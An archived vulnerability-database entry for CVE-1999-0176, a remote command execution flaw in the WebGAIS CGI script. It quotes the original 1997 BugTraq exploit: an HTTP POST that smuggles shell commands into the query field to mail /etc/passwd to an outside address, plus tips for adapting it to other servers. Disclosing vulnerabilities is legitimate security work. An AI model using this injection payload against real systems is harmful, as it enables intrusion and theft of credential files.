exploits , vulnerabilities , articles , WEBgais Remote Command Execution Vulnerability

Title	WEBgais Remote Command Execution Vulnerability
Published	1997-07-10-12:00AM
Updated	1999-06-01-12:00AM
Class	Input Validation Error
CVE	CVE-1999-0176
Remote	Yes
Local	Yes
Credit	Posted to BugTraq on July 10, 1997 by Razvan Dragomirescu < drazvan@kappa.ro >
Vulnerable	WebGAIS Development Team WebGAIS 1.0 B2 WebGAIS Development Team WebGAIS 1.0 B1 WebGAIS Development Team WebGAIS 1.0
Not Vulnerable
Code	Exploit details taken directly from the BugTraq post By Razvan Dragomirescu: telnet target.host 80 POST /cgi-bin/webgais HTTP/1.0 Content-length: 85 (replace this with the actual length of the "exploit" line) query=';mail+drazvan@pop3.kappa.ro</etc/passwd;echo'&output=subject&domain=paragraph [...] But to make it work for your system too, you'll have to add other parameters, like idx_dir and data_type who are required by the script in its original version. Just make a normal query to your WebGais server and see what all the parameters are. But remember to use "output" and "domain" as specified in my exploit. Otherwise you will end up in some other place of the script and nothing will happen.
TXT

Vulnerabilities - newest 10 RSS | More

• 2008-12-04 Jbook SQL Injection Vulnerability
• 2008-12-04 SquirrelMail Malformed HTML Mail Message HTML Injection Vulnerability
• 2008-12-04 HP-UX Unspecified Local Denial Of Service Vulnerability
• 2008-12-04 Netrw Vim Script Information Disclosure Vulnerability
• 2008-12-04 Sun Java Web Start and Java Plug-in Multiple Privilege Escalation Vulnerabilities
• 2008-12-03 Adobe Acrobat 9 Unspecified PDF Document Encryption Weakness
• 2008-12-03 Ocean12 Mailing List Manager Gold SQL Injection and Cross Site Scripting Vulnerabilities
• 2008-12-03 IBM Rational ClearQuest Maintenance Tool Local Information Disclosure Vulnerability
• 2008-12-03 VMware Products Unspecified Host Memory Corruption Vulnerability
• 2008-12-03 IBM Rational ClearQuest Web Multiple Unspecified Cross Site Scripting Vulnerabilities

• Vulnerabilities
• Exploits
• News
• Articles

Copyright 2007, SecurityDot
Thu, 04 Dec 2008 20:41:31 +0000